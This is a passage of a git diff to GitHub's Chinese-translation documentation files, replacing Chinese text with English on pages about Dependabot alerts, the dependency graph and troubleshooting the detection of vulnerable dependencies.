repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." -## 延伸阅读 +## Further reading -- "[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" -- “[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)”。 +- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" +- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md index 54f11c3678..d629122ab7 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md @@ -1,6 +1,6 @@ --- -title: 管理项目依赖项中的漏洞 -intro: '您可以跟踪仓库的依赖项，在 {% data variables.product.product_name %} 检测到有漏洞的依赖项时接收{% ifversion fpt or ghes %}{% data variables.product.prodname_dependabot_alerts %}{% else %}安全警报{% endif %}。' +title: Managing vulnerabilities in your project's dependencies +intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.' redirect_from: - /articles/updating-your-project-s-dependencies/ - /articles/updating-your-projects-dependencies/ @@ -30,6 +30,6 @@ children: - /viewing-and-updating-vulnerable-dependencies-in-your-repository - /troubleshooting-the-detection-of-vulnerable-dependencies - /troubleshooting-dependabot-errors -shortTitle: 修复有漏洞的依赖项 +shortTitle: Fix vulnerable dependencies --- diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md index 0c272f7180..2e0ad140d1 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: 漏洞依赖项检测疑难解答 -intro: '如果 {% data variables.product.product_name %} 报告的依赖项信息不符合您的预期，则需要考虑许多因素，您可以检查各种问题。' -shortTitle: 检测故障排除 +title: Troubleshooting the detection of vulnerable dependencies +intro: 'If the dependency information reported by {% data variables.product.product_name %} is not what you expected, there are a number of points to consider, and various things you can check.' +shortTitle: Troubleshoot detection redirect_from: - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies @@ -27,98 +27,98 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} -{% data variables.product.product_name %} 报告的依赖项检测结果可能不同于其他工具返回的结果。 这是有原因的，它有助于了解 {% data variables.product.prodname_dotcom %} 如何确定项目的依赖项。 +The results of dependency detection reported by {% data variables.product.product_name %} may be different from the results returned by other tools. There are good reasons for this and it's helpful to understand how {% data variables.product.prodname_dotcom %} determines dependencies for your project. -## 为什么似乎缺少某些依赖项？ +## Why do some dependencies seem to be missing? -{% data variables.product.prodname_dotcom %} 生成和显示依赖项数据不同于其他工具。 因此，如果您过去使用其他工具来识别依赖项，则几乎可以肯定您会看到不同的结果。 考虑以下事项： +{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following: -* {% data variables.product.prodname_advisory_database %} 是 {% data variables.product.prodname_dotcom %} 用来识别漏洞依赖项的数据源之一。 它是一款免费的、具有整理功能的数据库，用于检测 {% data variables.product.prodname_dotcom %} 上常见软件包生态系统的漏洞信息。 它包括从 {% data variables.product.prodname_security_advisories %} 直接报告给 {% data variables.product.prodname_dotcom %} 的数据，以及官方馈送和社区来源。 这些数据由 {% data variables.product.prodname_dotcom %} 审查和整理，以确保不会与开发社区分享虚假或不可行的信息。 {% data reusables.security-advisory.link-browsing-advisory-db %} -* 依赖项图解析用户仓库中所有已知的包清单文件。 例如，对于 npm，它将解析 _package-lock.json_ 文件。 它构造所有仓库依赖项和公共依赖项的图表。 当启用依赖关系图时，当任何人推送到默认分支时，都会发生这种情况，其中包括对支持的清单格式进行更改的提交。 更多信息请参阅“[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)”。 -* {% data variables.product.prodname_dependabot %} 扫描对包含清单文件的默认分支的任何推送。 添加新的漏洞记录时，它会扫描所有现有仓库，并为每个存在漏洞的仓库生成警报。 {% data variables.product.prodname_dependabot_alerts %} 在仓库级别汇总，而不是针对每个漏洞创建一个警报。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。 -* {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} 在您收到关于仓库中漏洞依赖项的警报时触发。 在可能的情况下，{% data variables.product.prodname_dependabot %} 会在您的仓库中创建拉取请求，以将易受攻击的依赖项升级到避免漏洞所需的最低安全版本。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”和“[排除 {% data variables.product.prodname_dependabot %} 错误](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)”。 +* {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies. It's a free, curated database of vulnerability information for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %} +* The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +* {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new vulnerability record is added, it scans all existing repositories and generates an alert for each vulnerable repository. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per vulnerability. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." +* {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." + + {% endif %}{% data variables.product.prodname_dependabot %} doesn't scan repositories for vulnerable dependencies on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new vulnerability is added to the advisory database{% ifversion ghes or ghae-issue-4864 %} and synchronized to {% data variables.product.product_location %}{% endif %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)." - {% endif %}{% data variables.product.prodname_dependabot %} 不会按计划扫描仓库中的漏洞依赖项，而是在发生某些变更时扫描。 例如，新增依赖项（{% data variables.product.prodname_dotcom %} 在每次推送时都会进行此项检查）时，或者当新的漏洞添加到通告数据库 {% ifversion ghes or ghae-issue-4864 %} 以及同步到 {% data variables.product.product_location %}{% endif %}时，就会触发扫描。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)”。 +## Why don't I get vulnerability alerts for some ecosystems? -## 为什么我没有收到某些生态系统的漏洞警报？ +{% data variables.product.prodname_dotcom %} limits its support for vulnerability alerts to a set of ecosystems where we can provide high-quality, actionable data. Curated vulnerabilities in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." -{% data variables.product.prodname_dotcom %} 对漏洞警报的支持限于一组可提供高质量、可操作数据的生态系统。 {% data variables.product.prodname_advisory_database %} 中经整理的漏洞、依赖关系图、{% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %}安全更新{% endif %} 和 {% data variables.product.prodname_dependabot %} 警报提供用于多个生态系统，包括 Java’s Maven、JavaScript’s npm 和 Yarn、.NET’s NuGet、Python’s pip、Ruby's RubyGems 以及 PHP’s Composer。 我们将在今后继续增加对更多生态系统的支持。 有关我们支持的包生态系统的概述，请参阅“[关于依赖项图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)”。 +It's worth noting that {% data variables.product.prodname_dotcom %} Security Advisories may exist for other ecosystems. The information in a security advisory is provided by the maintainers of a particular repository. This data is not curated in the same way as information for the supported ecosystems. {% ifversion fpt or ghec %}For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %} -值得注意的是，可能存在其他生态系统的 {% data variables.product.prodname_dotcom %} 安全通告。 安全通告中的信息由特定仓库的维护员提供。 此数据的整理方式与支持的生态系统整理信息的方式不同。 {% ifversion fpt or ghec %} 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 安全通告](/github/managing-security-vulnerabilities/about-github-security-advisories)”。{% endif %} +**Check**: Does the uncaught vulnerability apply to an unsupported ecosystem? -**检查**：未捕获的漏洞是否适用于不受支持的生态系统？ +## Does the dependency graph only find dependencies in manifests and lockfiles? -## 依赖项图是否只查找清单和锁文件中的依赖项？ +The dependency graph includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file. -依赖项图包含在环境中明确声明的依赖项的信息。 也就是说，在清单或锁定文件中指定的依赖项。 依赖项图通常还包括过渡依赖项，即使它们没有在锁定文件中指定，也可以通过查看清单文件中的依赖项来实现。 +{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are: +* Direct dependencies explicitly declared in a manifest or lockfile +* Transitive dependencies declared in a lockfile{% endif %} -{% data variables.product.prodname_dependabot_alerts %} 提醒您应更新的依赖项，包括可从清单或锁定文件确定版本的过渡依赖项。 {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} 仅在 {% data variables.product.prodname_dependabot %} 可直接“修复”依赖项时才建议更改，即以下情况： -* 在清单或锁定文件中明确声明的直接依赖项 -* 在锁定文件中声明的过渡依赖项{% endif %} +The dependency graph doesn't include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. -依赖项图不包括“宽松”依赖项。 “宽松”依赖项是指从另一个来源复制并直接或在存档文件（例如 ZIP 或 JAR 文件）中检入仓库的单个文件，而不是在包管理器的清单或锁定文件中引用的文件。 +**Check**: Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile? -**检查k**：是否存在仓库清单或锁定文件中未指定组件的未捕获漏洞？ +## Does the dependency graph detect dependencies specified using variables? -## 依赖项图是否检测使用变量指定的依赖项？ +The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not be included in the dependency graph. -依赖项图在清单被推送到 {% data variables.product.prodname_dotcom %} 时分析它们。 因此，依赖项图无法访问项目的构建环境，从而无法解析清单中使用的变量。 如果在清单中使用变量指定名称，或指定依赖项的版本（更常见），则该依赖项不会包括在依赖项图中。 +**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version? -**检查**: 在清单中缺少的依赖项是否使用变量声明其名称或版本？ +## Are there limits which affect the dependency graph data? -## 是否存在影响依赖项图数据的限制？ +Yes, the dependency graph has two categories of limits: -是的，依赖项图有两个限制类别： +1. **Processing limits** -1. **处理限制** + These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created. - 这会影响 {% data variables.product.prodname_dotcom %} 中显示的依赖项图，还会阻止 {% data variables.product.prodname_dependabot_alerts %} 的创建。 + Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}. - 仅为企业帐户处理大小超过 0.5 MB 的清单。 对于其他帐户，将忽略超过 0.5 MB 的清单，并且不会创建 {% data variables.product.prodname_dependabot_alerts %}。 + By default, {% data variables.product.prodname_dotcom %} will not process more than 20 manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}. - 默认情况下， {% data variables.product.prodname_dotcom %} 对每个仓库处理的清单不会超过 20 个。 对于超出此限制的清单，不会创建 {% data variables.product.prodname_dependabot_alerts %}。 如果您需要提高限值，请联系 {% data variables.contact.contact_support %}。 +2. **Visualization limits** -2. **可视化限制** + These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created. - 这会影响 {% data variables.product.prodname_dotcom %} 中依赖项图的显示内容。 但是，它们不会影响 {% data variables.product.prodname_dependabot_alerts %} 的创建。 + The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}. - 仓库依赖项图的依赖项视图只显示 100 个清单。 通常这就足够了，因为它明显高于上述处理限制。 处理限制超过 100 的情况下，对于任何未在 {% data variables.product.prodname_dotcom %} 中显示的任何清单，仍会创建 {% data variables.product.prodname_dependabot_alerts %}。 +**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests? -**检查**：在超过 0.5 MB 的清单文件或包含大量清单的仓库中是否存在缺少的依赖项？ +## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years? -## {% data variables.product.prodname_dependabot %} 是否会针对已知多年的漏洞生成警报？ +The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include vulnerability information for the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software. -{% data variables.product.prodname_advisory_database %} 于 2019 年 11 月推出，并在最初回顾性包含了受支持生态系统的漏洞信息（从 2017 年开始）。 将 CVE 添加到数据库时，我们会优先处理较新的 CVE，以及影响较新版本软件的 CVE。 +Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. -提供了一些有关较旧漏洞的信息，尤其是在这些 CVE 特别普遍的地方，但一些较旧的漏洞未包含在 {% data variables.product.prodname_advisory_database %} 中。 如果您需要将一些特定的旧漏洞包含在数据库中，请联系 {% data variables.contact.contact_support %}。 +**Check**: Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database? -**检查**：未捕获的漏洞在国家漏洞数据库中的发布日期是否早于 2017 年？ +## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data? -## 为什么 {% data variables.product.prodname_advisory_database %} 使用已发布漏洞数据的子集？ +Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts. -有些第三方工具使用未经人为检查或过滤的未整理 CVE 数据。 这意味着 CVE 带有标签或严重错误或其他质量问题，将导致更频繁，更嘈杂且更无用的警报。 - -由于 {% data variables.product.prodname_dependabot %} 使用 {% data variables.product.prodname_advisory_database %} 中的精选数据，因此警报量可能较少，但是您收到的警报将是准确和相关的。 +Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant. {% ifversion fpt or ghec %} -## 是否每个依赖项漏洞都会生成单独的警报？ +## Does each dependency vulnerability generate a separate alert? -当一个依赖项有多个漏洞时，只会为该依赖项生成一个汇总警报，而不是针对每个漏洞生成一个警报。 +When a dependency has multiple vulnerabilities, only one aggregated alert is generated for that dependency, instead of one alert per vulnerability. -{% data variables.product.prodname_dotcom %} 中的 {% data variables.product.prodname_dependabot_alerts %} 计数显示警报总数，即有漏洞的依赖项数量，而不是漏洞的数量。 +The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, that is, the number of dependencies with vulnerabilities, not the number of vulnerabilities. -![{% data variables.product.prodname_dependabot_alerts %} 视图](/assets/images/help/repository/dependabot-alerts-view.png) +![{% data variables.product.prodname_dependabot_alerts %} view](/assets/images/help/repository/dependabot-alerts-view.png) -单击以显示警报详细信息时，您可以查看警报中包含多少个漏洞。 +When you click to display the alert details, you can see how many vulnerabilities are included in the alert. -![{% data variables.product.prodname_dependabot %} 警报的多个漏洞](/assets/images/help/repository/dependabot-vulnerabilities-number.png) +![Multiple vulnerabilities for a {% data variables.product.prodname_dependabot %} alert](/assets/images/help/repository/dependabot-vulnerabilities-number.png) -**检查**: 如果您所看到的总数有出入，请检查您是否没有将警报数量与漏洞数量进行比较。 +**Check**: If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with vulnerability numbers. {% endif %} -## 延伸阅读 +## Further reading -- “[关于有易受攻击依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)” -- "[查看和更新仓库中的漏洞依赖项](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" -- "[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"|{% ifversion fpt or ghec or ghes > 3.2 %} -- [排除 {% data variables.product.prodname_dependabot %} 错误](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} +- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"{% ifversion fpt or ghec or ghes > 3.2 %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md index ac8a0fa6af..c2a6b0c128 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md @@ -1,12 +1,12 @@ --- -title: 查看和更新仓库中有漏洞的依赖项 -intro: '如果 {% data variables.product.product_name %} 发现项目中存在有漏洞的依赖项，您可以在仓库的 Dependabot 警报选项卡中查看它们。 然后，您可以更新项目以解决或忽略漏洞。' +title: Viewing and updating vulnerable dependencies in your repository +intro: 'If {% data variables.product.product_name %} discovers vulnerable dependencies in your project, you can view them on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the vulnerability.' redirect_from: - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository permissions: Repository administrators and organization owners can view and update dependencies. -shortTitle: 查看有漏洞的依赖项 +shortTitle: View vulnerable dependencies versions: fpt: '*' ghes: '*' @@ -25,53 +25,60 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -仓库的 {% data variables.product.prodname_dependabot %} 警报选项卡列出所有打开和关闭的 {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} 以及对应的 {% data variables.product.prodname_dependabot_security_updates %}{% endif %}。 您可以选择下拉菜单对警报列表进行排序，并且可以单击特定警报以获取更多详细信息。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。 +Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." {% ifversion fpt or ghec or ghes > 3.2 %} -您可以为使用 {% data variables.product.prodname_dependabot_alerts %} 和依赖关系图的任何仓库启用自动安全更新。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)“。 +You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." {% endif %} {% data reusables.repositories.dependency-review %} {% ifversion fpt or ghec or ghes > 3.2 %} -## 关于仓库中有漏洞的依赖项的更新 +## About updates for vulnerable dependencies in your repository -{% data variables.product.product_name %} 在检测到您的代码库正在使用具有已知漏洞的依赖项时会生成 {% data variables.product.prodname_dependabot_alerts %}。 对于启用了 {% data variables.product.prodname_dependabot_security_updates %} 的仓库，当 {% data variables.product.product_name %} 在默认分支中检测到有漏洞的依赖项时，{% data variables.product.prodname_dependabot %} 会创建拉取请求来修复它。 拉取请求会将依赖项升级到避免漏洞所需的最低安全版本。 +{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known vulnerabilities. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability. {% endif %} -## 查看和更新有漏洞的依赖项 +## Viewing and updating vulnerable dependencies {% ifversion fpt or ghec or ghes > 3.2 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-dependabot-alerts %} -1. 单击您想要查看的警报。 ![在警报列表中选择的警报](/assets/images/help/graphs/click-alert-in-alerts-list.png) -1. 查看漏洞的详细信息以及包含自动安全更新的拉取请求（如果有）。 -1. （可选）如果还没有针对该警报的 {% data variables.product.prodname_dependabot_security_updates %} 更新，要创建拉取请求以解决该漏洞，请单击 **Create {% data variables.product.prodname_dependabot %} security update（创建 Dependabot 安全更新）**。 ![创建 {% data variables.product.prodname_dependabot %} 安全更新按钮](/assets/images/help/repository/create-dependabot-security-update-button.png) -1. 当您准备好更新依赖项并解决漏洞时，合并拉取请求。 {% data variables.product.prodname_dependabot %} 提出的每个拉取请求都包含可用于控制 {% data variables.product.prodname_dependabot %} 的命令的相关信息。 更多信息请参阅“[管理依赖项更新的拉取请求](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)”。 -1. （可选）如果警报正在修复、不正确或位于未使用的代码中，请选择“Dismiss（忽略）”，然后单击忽略警报的原因。 ![选择通过 "Dismiss（忽略）"下拉菜单忽略警报的原因](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png) +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png) +1. Review the details of the vulnerability and, if available, the pull request containing the automated security update. +1. Optionally, if there isn't already a {% data variables.product.prodname_dependabot_security_updates %} update for the alert, to create a pull request to resolve the vulnerability, click **Create {% data variables.product.prodname_dependabot %} security update**. + ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button.png) +1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)." +1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert. + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png) {% elsif ghes > 3.0 or ghae-issue-4864 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-dependabot-alerts %} -1. 单击您想要查看的警报。 ![在警报列表中选择的警报](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png) -1. 查看漏洞的详细信息，并确定您是否需要更新依赖项。 -1. 当您合并拉取请求以将清单或锁定文件更新为依赖项的安全版本时，这将解决警报。 或者，如果您决定不更新依赖项，请选择 **Dismiss（忽略）**下拉菜单，并单击忽略警报的原因。 ![选择通过 "Dismiss（忽略）"下拉菜单忽略警报的原因](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png) +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png) +1. Review the details of the vulnerability and determine whether or not you need to update the dependency. +1. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert. + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png) {% else %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.click-dependency-graph %} -1. 单击有漏洞依赖项的版本号以显示详细信息。 ![关于有漏洞依赖项的详细信息](/assets/images/enterprise/3.0/dependabot-alert-info.png) -1. 查看漏洞的详细信息，并确定您是否需要更新依赖项。 当您合并拉取请求以将清单或锁定文件更新为依赖项的安全版本时，这将解决警报。 -1. **Dependencies（依赖项）**选项卡顶部的横幅将会显示，直到解决所有漏洞依赖项或者您忽略该横幅。 单击横幅右上角的 **Dismiss（忽略）**并选择忽略警报的原因。 ![忽略安全横幅](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png) +1. Click the version number of the vulnerable dependency to display detailed information. + ![Detailed information on the vulnerable dependency](/assets/images/enterprise/3.0/dependabot-alert-info.png) +1. Review the details of the vulnerability and determine whether or not you need to update the dependency. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. +1. The banner at the top of the **Dependencies** tab is displayed until all the vulnerable dependencies are resolved or you dismiss it. Click **Dismiss** in the top right corner of the banner and select a reason for dismissing the alert. + ![Dismiss security banner](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png) {% endif %} -## 延伸阅读 +## Further reading -- "[关于有漏洞依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" {% ifversion fpt or ghec or ghes > 3.2 %} -- "[配置 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %} -- "[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" -- "[漏洞依赖项检测疑难解答](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %} -- [排除 {% data variables.product.prodname_dependabot %} 